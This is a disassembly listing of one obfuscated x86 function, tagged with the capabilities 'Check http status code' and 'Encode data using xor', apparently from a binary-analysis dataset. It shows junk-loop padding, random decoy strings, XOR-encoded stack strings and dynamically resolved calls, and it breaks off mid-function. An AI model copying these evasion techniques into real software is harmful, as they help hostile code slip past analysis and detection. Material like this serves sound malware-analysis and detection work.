Function at 0x1001dd84
Capabilities:
Check http status code
Encode data using xor

Disassembly:
mov eax, 0x1005919a
call fcn.10057d24
sub esp, 0x5c4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x50], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x1c], 0x12af048
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], 0x204795ed
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x30], 0x1e60e779
mov dword [ebp - 0x1c], 0x6f30
cmp dword [ebp - 0x1c], 0x70a3
jle 0x1001de66
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x38], ebx
mov eax, esi
mov dword [ebp - 0x160], ebx
cdq
idiv edi
mov ebx, dword [ebp - 0x18]
mov edi, 0x7458
mov esi, dword [ebp - 0x160]
mov dword [ebp - 0x30], edx
mov eax, esi
mov ecx, 0x10073b38
xor eax, ebx
cdq
push edx
push eax
call fcn.10004192
add esi, dword [ebp - 0x30]
dec edi
jne 0x1001de20
mov edi, dword [ebp - 0x38]
mov esi, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x38], edi
push 0
pop ebx
cmp edi, 0x3e72
jl 0x1001de04
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x420f
jl 0x1001ddff
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x77c2
jl 0x1001ddfa
mov dword [ebp - 0x18], ebx
jmp 0x1001de78
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x428], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1001de6b
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], 0x6cf5
jge 0x1001deb8
mov edx, str.lvo_wjasjna_uhzjsrj_ezzforxye_xzcfnr_ydw_cfopiv_snc
mov ecx, 0x10073b38
call fcn.10005a51
jmp 0x1001deb8
mov dword [ebp - 4], 1
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
cmp dword [ebp - 0x14], edx
jg 0x1001df30
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
cmp eax, 1
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
imul ecx, dword [ebp - 0x24]
test ecx, ecx
jne 0x1001df30
mov eax, ebx
jmp 0x1001df33
xor eax, eax
inc eax
xor ecx, ecx
mov edx, 0x84c5
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
push 4
setg cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x30c]
call fcn.100013fd
push 1
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 4
push eax
push 1
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x18], 0xa32b1cec
push eax
push 0x78c1
mov dword [ebp - 0x24], 0xfffffffa
mov edx, 0x2577
push 1
mov ecx, 0x40ce
call fcn.1001cece
mov dword [ebp - 0x18], 3
add esp, 0x18
cmp dword [ebp - 0x18], ebx
jl 0x1001dfbf
push 1
push ecx
mov byte [ebp - 0x43], bl
lea edx, [ebp - 0x43]
mov ecx, 0x2056
call fcn.1001d318
push 1
call fcn.1001cf5b
add esp, 0xc
dec dword [ebp - 0x18]
jns 0x1001df9d
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 1
call fcn.10001439
push dword [ebp - 0x148]
movdqa xmm0, xmmword [0x10066a50]
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x3c8]
mov dword [ebp - 0x1a8], ebx
push eax
push ebx
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a4], ebx
movdqu xmmword [ebp - 0x3c8], xmm0
mov dword [ebp - 0x1a0], ebx
call fcn.1000619c
push 2
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 5
call fcn.100013fd
push ecx
push ebx
push 0x608
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 6
push eax
push ecx
lea edx, [ebp - 0x214]
call fcn.1001d382
add esp, 0x14
mov dword [ebp - 0x34], ebx
jmp 0x1001e055
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x35c], 0xffffffff
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1001e044
push 3
mov dword [ebp - 0x34], ebx
pop ecx
jmp 0x1001e074
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x368], 7
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x1001e063
mov edi, dword [ebp - 0x214]
mov edx, dword [ebp - 0x1a8]
mov dword [ebp - 0x24], edx
mov dword [edi + 4], ecx
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x154], 0x38d10fbf
mov dword [ebp - 0x18], ebx
jmp 0x1001e0ae
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2dc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001e0a1
xor eax, eax
inc eax
mov ecx, eax
mov dword [ebp - 0x358], eax
sub ecx, dword [edx + 0xc]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [edi + 4]
mov eax, dword [ebp - 0x1a8]
sete dl
push ebx
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x1c]
sub ecx, edx
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x364]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
imul eax, ecx, 0x5e1b
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov ecx, dword [edi + 4]
mov eax, dword [ebp - 0x1a8]
mov esi, dword [eax + ecx*4]
xor ecx, ecx
mov eax, dword [ebp - 0x214]
cmp dword [eax], 1
mov eax, dword [ebp - 0x360]
sete cl
xor edx, edx
cmp esi, ecx
push ecx
setg dl
sub edx, esi
imul eax, edx
push 0x5bcd
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x154]
push eax
call fcn.1001cd28
mov edx, dword [ebp - 0x24]
add esp, 0x10
dec dword [edi + 4]
jns 0x1001e08b
lea ecx, [ebp - 0x214]
call fcn.10001439
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 1
call fcn.10001439
mov byte [ebp - 0x94], bl
mov dword [ebp - 0x93], 0x55660267
mov dword [ebp - 0x8f], 0x4032f0c
mov dword [ebp - 0x8b], 0xf010608
mov dword [ebp - 0x87], 0x2c072206
mov dword [ebp - 0x83], 0x11021d0a
mov dword [ebp - 0x7f], 0x48044e05
mov dword [ebp - 0x7b], 0x1b0b1109
mov dword [ebp - 0x1c], 0xb29
cmp dword [ebp - 0x1c], 0xc19
jle 0x1001e25b
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov ecx, 0x10073b38
and eax, esi
xor eax, edi
cdq
push edx
push eax
call fcn.10004192
inc ebx
cmp ebx, 0x562b
jl 0x1001e1de
inc esi
push 0
pop ebx
cmp esi, 0x79ff
jl 0x1001e1db
inc edi
cmp edi, 0x5d00
jl 0x1001e1d9
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x1d92
push 0x119b
push 0x3a0
push ebx
push 0x12e1
push 0xb1f
call edi
mov esi, dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
push 0x1022
push 0xc68
push 0x1f18
push 0x5eb
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0x43
pop eax
mov byte [ebp - 4], 7
cmp dword [ebp - 0x1c], 0x875
mov word [ebp - 0x3b8], ax
jge 0x1001e29f
mov edx, str.aovzyhg_frijwq_twi_kvjypwl_lbcmgzs_hzvw_elfv_uanyyy_ccuywgiy_fdrecz
mov ecx, 0x10073b38
call fcn.10005a51
jmp 0x1001e29f
push 2
mov ecx, ebx
mov dword [ebp - 4], 1
pop esi
mov dword [ebp - 0x14c], ecx
cmp esi, 2
jne 0x1001e2cb
movzx eax, byte [ebp - 0x92]
lea ecx, [eax + 1]
mov dword [ebp - 0x14c], ecx
lea esi, [eax + 1]
jmp 0x1001e332
movzx edx, byte [ebp + esi - 0x93]
mov eax, esi
sub eax, ecx
push ebx
movzx eax, byte [ebp + eax - 0x96]
movzx eax, word [ebp + eax*2 - 0x3b8]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x2ff9
sub ecx, eax
movzx eax, byte [ebp + esi - 0x94]
mov word [ebp + eax*2 - 0x3b8], cx
lea eax, [ebp - 0x14c]
push eax
push 1
push 1
push 0x29f0
push 0x6c9
push 0x3b34
mov ecx, 0x4d3e
call fcn.1001cf9a
mov ecx, dword [ebp - 0x14c]
add esp, 0x1c
add esi, 2
cmp esi, 0x1d
jb 0x1001e2b1
xor eax, eax
mov word [ebp - 0x74], 0xae05
push 0x63
mov word [ebp - 0x39e], ax
pop eax
push 2
mov byte [ebp - 0x72], bl
mov dword [ebp - 0x71], 0x401010d
mov dword [ebp - 0x6d], 0x709060e
mov dword [ebp - 0x69], 0xbc92030d
mov dword [ebp - 0x65], 0x2060337
mov byte [ebp - 0x61], 0x4e
mov word [ebp - 0x25a], ax
pop esi
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x28], esi
cmp esi, 0x14
jae 0x1001e48a
mov dword [ebp - 0x38], 0x6bc5
cmp dword [ebp - 0x38], 0x6be8
jle 0x1001e401
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0x2987
mov eax, esi
lea ecx, [ebp - 0x4cc]
cdq
push edx
push eax
call fcn.10002811
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001e3ca
mov eax, dword [eax]
push eax
call fcn.100402ca
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4cc]
call fcn.10001571
add esi, edi
dec dword [ebp - 0x1c]
jne 0x1001e3b0
mov esi, dword [ebp - 0x2c]
dec edi
cmp edi, 0xfffffe5c
jg 0x1001e3a6
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x3de1
jl 0x1001e3a4
mov esi, dword [ebp - 0x28]
movzx eax, byte [ebp - 0x74]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1001e423
movzx ecx, byte [ebp + esi - 0x74]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x168], eax
jmp 0x1001e482
cmp dword [ebp - 0x38], 0x6a14
jge 0x1001e437
push str.fwds_cydg_nxcspp_zxj_ncekpfik
call fcn.100402ca
pop ecx
mov dword [ebp - 4], 1
mov eax, esi
sub eax, dword [ebp - 0x168]
movzx edx, byte [ebp + esi - 0x73]
movzx eax, byte [ebp + eax - 0x76]
movzx eax, word [ebp + eax*2 - 0x264]
mov ecx, eax
and eax, edx
or ecx, edx
lea edx, [ebp - 0x168]
sub ecx, eax
movzx eax, byte [ebp + esi - 0x74]
push ecx
push 0x4a93
push ebx
mov word [ebp + eax*2 - 0x264], cx
call fcn.1001dc95
add esp, 0xc
add esi, 2
jmp 0x1001e383
mov dword [ebp - 0x1c], 0x7d29
cmp dword [ebp - 0x1c], 0x7e20
jle 0x1001e4f4
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
lea ecx, [ebp - 0x4b4]
or eax, esi
cdq
push edx
push eax
call fcn.10002811
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001e4bf
mov eax, dword [eax]
push eax
call fcn.100402ca
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b4]
call fcn.10001571
mov eax, dword [ebp - 0x18]
inc esi
cmp esi, 0x73aa
jl 0x1001e4a3
inc edi
cmp edi, 0x4cb0
jl 0x1001e4a1
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x6c5c
jl 0x1001e49f
xor eax, eax
cmp dword [ebp - 0x1c], 0x7a48
mov word [ebp - 0x254], ax
jge 0x1001e511
push str.uip_xuritjcxe_melqu_cxfw
call fcn.100402ca
pop ecx
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x384]
xor eax, eax
mov dword [ebp - 0x370], 7
mov word [ebp - 0x384], ax
lea eax, [ebp - 0x264]
push eax
mov dword [ebp - 0x374], ebx
call fcn.100044ea
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x39c]
xor eax, eax
mov dword [ebp - 0x388], 7
mov word [ebp - 0x39c], ax
lea eax, [ebp - 0x3b8]
push eax
mov dword [ebp - 0x38c], ebx
call fcn.100044ea
lea eax, [ebp - 0x39c]
push eax
lea ecx, [ebp - 0x478]
call fcn.10001ca0
lea eax, [ebp - 0x384]
push eax
lea ecx, [ebp - 0x460]
call fcn.10001ca0
push ebx
push 1
lea ecx, [ebp - 0x39c]
call fcn.100016dd
push ebx
push 1
lea ecx, [ebp - 0x384]
call fcn.100016dd
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x448]
push dword [ebp - 0x148]
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x188], ebx
push eax
lea eax, [ebp - 0x478]
mov dword [ebp - 0x184], ebx
push eax
push ebx
mov dword [ebp - 0x180], ebx
call fcn.1002024c
push fcn.1000ea8b
push 1
push 0x30
lea eax, [ebp - 0x478]
mov byte [ebp - 4], 0x10
push eax
call fcn.1003fa6b
push 7
pop ecx
push 1
push 0x35c
push 1
push ebx
xor eax, eax
lea edi, [ebp - 0x3b8]
push 0xc8
rep stosd dword es:[edi], eax
push 0x206e
push 0x3206
mov edx, 0x632c
mov ecx, 0x4b0d
call fcn.1001cf9a
add esp, 0x1c
lea edi, [ebp - 0x264]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], ebx
jmp 0x1001e65a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x48], 0x17571177
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1001e64c
mov dword [ebp - 0x14], ebx
jmp 0x1001e676
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x34c], 0xdbeccce1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001e665
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], 0xf
je 0x1001e80b
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x1001e803
push 4
lea ecx, [ebp - 0x22c]
call fcn.100013fd
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x18], ebx
jmp 0x1001e6c9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x22c]
mov dword [eax + ecx*4], 0x7909b792
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1001e6b6
mov esi, dword [ebp - 0x22c]
add esi, 0xc
mov dword [esi], 2
cmp dword [esi], ebx
jl 0x1001e7ec
mov dword [ebp - 0x24], 0xfffffffc
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x34c]
mov eax, dword [ebp - 0x14]
cmp eax, 0x71f0
mov eax, dword [ebp - 0x34c]
setle cl
xor edx, edx
cmp ecx, dword [esi]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], 0x5a3d
cmp dword [ebp - 0x2c], 0x5ac4
jle 0x1001e793
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
mov ecx, esi
mov edx, ebx
sar eax, cl
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x24], eax
mov ecx, edx
shl eax, cl
mov ecx, 0x10073b38
xor eax, dword [ebp - 0x28]
cdq
push edx
push eax
call fcn.10004192
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x67fc
jl 0x1001e740
inc esi
cmp esi, 0x6190
jl 0x1001e732
inc edi
cmp edi, 0x13b1
jl 0x1001e730
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x2b77
jl 0x1001e72e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
cmp dword [ebp - 0x48], ebx
jne 0x1001e7dc
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x2c], 0x587b
jge 0x1001e7d5
mov edx, str.pdnnag_jmu_akthsbrad_sifbub_mvku_zieyh_ghfic
mov ecx, 0x10073b38
call fcn.10005a51
jmp 0x1001e7d5
mov dword [ebp - 4], 0x11
mov esi, dword [ebp - 0x22c]
add esi, 0xc
dec dword [esi]
jmp 0x1001e6de
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 0x10
call fcn.10001439
dec dword [ebp - 0x14]
jmp 0x1001e697
inc dword [ebp - 0x48]
jmp 0x1001e67f
push ecx
push 1
lea edx, [ebp - 0x188]
lea ecx, [ebp + 8]
call fcn.1001d23b
pop ecx
pop ecx
push ebx
push 0x246c
push 0x4440
call fcn.10032967
pop ecx
pop ecx
call eax
mov dword [ebp - 0x14], 0x60477862
mov dword [ebp - 0x5c], 0xfb49a5c1
mov dword [ebp - 0x1c], 0xfffb
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001e864
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4c], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1001e856
mov dword [ebp - 0x14], 3
jmp 0x1001e9f0
push dword [ebp - 0x148]
movdqa xmm0, xmmword [0x10066a20]
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x3e8]
mov dword [ebp - 0x18], 3
push eax
push ebx
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
movdqu xmmword [ebp - 0x3e8], xmm0
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
call fcn.1000619c
push 2
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 0x14
call fcn.100013fd
push 0x929
push ecx
push ebx
push 0x1588
push ecx
lea eax, [ebp - 0x244]
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x18c], 1
lea edx, [ebp - 0x2e4]
push eax
call fcn.1001dbc4
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x14]
inc edx
add esp, 0x18
cmp dword [ebp - 0x18], edx
jge 0x1001e988
mov dword [ebp - 0x28], 0x3d6c
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x30], 0x5487972e
mov dword [ebp - 0x30], 0xfffffff9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x19c]
setge cl
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], 0x4f823aaf
mov eax, dword [ebp - 0x14]
cmp eax, 0x3b06d9e9
setge cl
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x244]
sbb eax, eax
xor edx, edx
inc eax
cmp eax, dword [ecx]
mov eax, dword [ebp - 0x18c]
setg dl
imul eax, edx
mov dword [ecx + 4], edx
mov dword [ebp - 0x30], eax
jmp 0x1001e9b8
cmp dword [ebp - 0x5c], ebx
jne 0x1001e9fc
push edx
push 0x6cd8
push edx
push edx
push 0x14f9
lea eax, [ebp - 0x5c]
mov ecx, 0x69c
push eax
lea eax, [ebp - 0x18c]
push eax
lea edx, [ebp - 0x19c]
call fcn.1001cf9a
add esp, 0x1c
push ebx
push ecx
lea eax, [ebp - 0x42]
mov byte [ebp - 0x42], bl
push 0x1c70
push eax
mov edx, 0x2145
call fcn.1001d99e
add esp, 0x10
lea ecx, [ebp - 0x244]
call fcn.10001439
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0x10
call fcn.10001439
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffee
jge 0x1001e876
jmp 0x1001ea16
lea ecx, [ebp - 0x244]
call fcn.10001439
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0x10
call fcn.10001439
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x1001eabc
push 2
lea ecx, [ebp - 0x250]
call fcn.100013fd
push 1
push 0x1a86
push ebx
push ebx
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0x16
push eax
push 0x71c
mov dword [ebp - 0x24], 0x6cb
lea ecx, [ebp - 0x36c]
push 0x70d
mov edx, 0x2444
call fcn.1001cf9a
mov eax, dword [ebp - 0x14]
add esp, 0x1c
mov ecx, dword [ebp + eax*4 - 0x4c]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c], ecx
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
sub eax, 0x1030c6a8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x250]
cmp dword [eax + 4], 1
setg cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x10
call fcn.10001439
dec dword [ebp - 0x14]
jns 0x1001ea22
sub esp, 0xc
lea ecx, [ebp - 0x340]
mov edx, 0x42b0
push 0x7091
push ebx
call fcn.1001ce10
add esp, 0x14
mov dword [ebp - 0x14], ebx
xor dl, dl
mov ecx, 0x21c4
push 1
push 0x7c9a
push 1
push 0x177
call fcn.1001d651
add esp, 0x10
mov dword [ebp - 0x14], 0x1a
jmp 0x1001eb73
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001eb25
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x354], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001eb14
cmp dword [ebp - 0x2c], ebx
jne 0x1001eb3f
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1001eb3f
mov esi, ebx
jmp 0x1001eb42
xor esi, esi
inc esi
mov eax, dword [ebp - 0x2c]
xor edx, edx
inc eax
cmp eax, 0xecf7
setl dl
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp esi, eax
setle cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x350], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xe
jge 0x1001eb01
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x18], ebx
push 4
call fcn.100013fd
push 1
push 1
push ebx
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x238]
mov dword [ebp - 0x24], 4
lea ecx, [ebp - 0x2e0]
push 0x7bd5
call fcn.1001da9b
mov byte [ebp - 0x1d], bl
add esp, 0x10
cmp byte [ebp - 0x1d], 0
je 0x1001ebda
push ebx
push 1
push 1
push 0x5e02
mov edx, 0x7335
mov ecx, 0x6409
call fcn.1001da9b
add esp, 0x10
mov dword [ebp - 0x18], ebx
jmp 0x1001ecdd
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x14], ebx
jmp 0x1001ebff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x404], 0x14af12a8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001ebee
mov dword [ebp - 0x14], ebx
jmp 0x1001eca5
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1001ec2b
push 1
push 0xa83
push ecx
mov edx, 0x233
call fcn.1001d33b
add esp, 0xc
mov edi, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x238]
cmp dword [eax + ecx*4], 0x3f02
mov eax, dword [ebp - 0x14]
setge dl
sub edx, 6
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
add eax, 0x9691
cmp eax, edx
mov eax, dword [ebp - 0x18]
setle cl
cmp ecx, 1
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x238]
setle dl
xor ecx, ecx
cmp edx, 0xfffffffd
setne cl
xor edx, edx
cmp ecx, dword [eax + esi*4]
mov ecx, dword [eax + edi*4]
mov eax, dword [ebp - 0x14]
setl dl
sub ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x3fc], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x1001ec0d
mov dword [ebp - 0x14], ebx
jmp 0x1001ecd4
push ecx
push 1
lea eax, [ebp - 0x41]
mov byte [ebp - 0x41], bl
push eax
push 0x53b9
push ecx
mov edx, 0x1c2d
call fcn.1001d382
add esp, 0x14
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff9
jg 0x1001ecb4
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff7
jne 0x1001ebe2
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x10
call fcn.10001439
mov dword [ebp - 0x2c], 0x7cdc
cmp dword [ebp - 0x2c], 0x7f53
jle 0x1001ed6e
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], esi
mov edi, ebx
and esi, eax
mov eax, esi
lea ecx, [ebp - 0x49c]
xor eax, edi
cdq
push edx
push eax
call fcn.10002811
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001ed33
mov eax, dword [eax]
push eax
call fcn.100402ca
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x49c]
call fcn.10001571
inc edi
cmp edi, 0x7002
jl 0x1001ed17
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x7b65
jl 0x1001ed10
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x7b6
jl 0x1001ed0b
push 0xb
pop eax
push 0x31
mov byte [ebp - 0x128], al
mov ecx, ebx
mov byte [ebp - 0xf1], al
pop eax
push 2
mov dword [ebp - 0x140], 0x1c0ebd05
mov dword [ebp - 0x13c], 0x1221503
mov dword [ebp - 0x138], 0x721e0d1d
mov dword [ebp - 0x134], 0xb9b81e04
mov dword [ebp - 0x130], 0x13051b56
mov dword [ebp - 0x12c], 0x201f126e
mov dword [ebp - 0x127], 0x7d230107
mov dword [ebp - 0x123], 0x50093825
mov dword [ebp - 0x11f], 0x5166902
mov word [ebp - 0x11b], 0x711a
mov byte [ebp - 0x119], 6
mov byte [ebp - 0x118], bl
mov dword [ebp - 0x117], 0x700c7408
mov byte [ebp - 0x113], bl
mov dword [ebp - 0x112], 0xf43244f
mov dword [ebp - 0x10e], 0x1c072109
mov dword [ebp - 0x10a], 0x18090d06
mov dword [ebp - 0x106], 0x171a1f14
mov dword [ebp - 0x102], 0x1770403
mov dword [ebp - 0xfe], 0x19741006
mov dword [ebp - 0xfa], 0x11011501
mov dword [ebp - 0xf6], 0x14700a75
mov byte [ebp - 0xf2], 0xd
mov byte [ebp - 0xf0], 0xa
mov word [ebp - 0x52e], ax
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0xc
jne 0x1001ee83
push 5
pop ecx
push 0xf
mov dword [ebp - 0x164], ecx
pop esi
jmp 0x1001eedd
movzx edx, byte [ebp + esi - 0x13f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x142]
movzx eax, word [ebp + eax*2 - 0x538]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x140]
mov word [ebp + eax*2 - 0x538], cx
lea eax, [ebp - 0x164]
push eax
push 0x37bd
push 0x11f2
push 1
mov ecx, 0x22c0
call fcn.1001ccef
mov ecx, dword [ebp - 0x164]
add esp, 0x10
